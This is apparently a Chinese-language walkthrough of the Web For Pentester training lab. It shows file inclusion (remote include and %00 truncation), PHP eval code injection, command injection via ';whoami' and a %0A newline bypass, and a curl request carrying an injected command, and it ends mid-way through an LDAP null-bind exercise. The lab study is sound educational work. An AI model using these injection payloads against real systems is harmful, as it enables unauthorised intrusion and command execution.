Web For Pentester File include

File include(文件包含)

Example 1 没有任何过滤

审计源码

没有对我们传参的page进行任何过滤，payload如下

http://172.16.1.104/fileincl/example1.php?page=http://172.16.1.102/info.txt

本机info.txt内容

Example 2 00截断

审计源码

在传参的page后面加入了.php，使用正则对00后面进行过滤为空
这里可以使用PHP 00截断,payload如下

http://172.16.1.104/fileincl/example2.php?page=http://172.16.1.102/info.txt%00

执行成功

code injection(代码注入)

php危险函数，代码注入

Example 1 绕过拼接

审计代码

直接将name进行传参，然后使用Hello name !!!进行拼接，最后使用eval函数执行php函数
eval函数是一个php中很危险的函数，可以直接调用php代码执行
这里虽然对我们的输入进行了拼接，但是可以进行闭合,payload如下

name=";system('whoami');//

现将前面的"进行闭合,然后使用;代表这句php代码的结束，执行system函数调用系统命令whomai，;代表system函数执行完毕，最后使用//将本行后面的内容注释

Example 2

审计源码

由于没有学过php，这里看不太懂，留下一个坑，接下来就命令执行吧

Commands injection(命令执行)

Example 1 没有过滤

审计源码

通过systme()函数执行ping -c 2探测主机存活两次，没有对ip传参进行过滤
这里运用了Linux的特性; & && | ||，这些特殊字符都可以进行绕过
payload

ip=127.0.0.;whoami

Example 2 换行绕过

审计源码

使用正则匹配开头和结束，如果不是ip地址格式直接输出Invalid IP address，但是这里使用了/m换行匹配
使用%0a换行符绕过，payload如下

ip=127.0.0.1%0Aip a

成功执行

Example 3 跳转

审计源码

去掉了/m换行匹配，匹配如果ip不满足IP地址条件跳转到example3?ip=127.0.0.1页面
这里我们输入的命令是被执行过得，因为代码是一直往下执行的，只是跳转并没有回显执行成功页面
使用burpsuite抓包进行查看

curl可以实现

curl "http://172.16.1.104/commandexec/example3.php?ip=127.0.0.1;whoami"

执行成功

LDAP attacks(轻目录访问协议)

LDAP 是一个基于x.500标准的轻量目录访问协议。可以把它看做数据库，就像我们电脑的目录结构一样，可以快速的查询、搜索、浏览数据，和数据不同的就是它修改数据很麻烦，LDAP就是为了查询数据而生的

Example 1 空认证

查询当然时候密码认证的啦
审计源码

这里很像数据库认证的页面，验证我们的用户名和密码是否在LDAP数据库中
直接点击进行访问

用户名和密码为hacker，由于一些LDAP是空绑定的，就是没有进行认证设置，所以我们提交空的密码
username,password改为空的进行提交

还是不可以登录
那么我们直接将传参清除，进行提交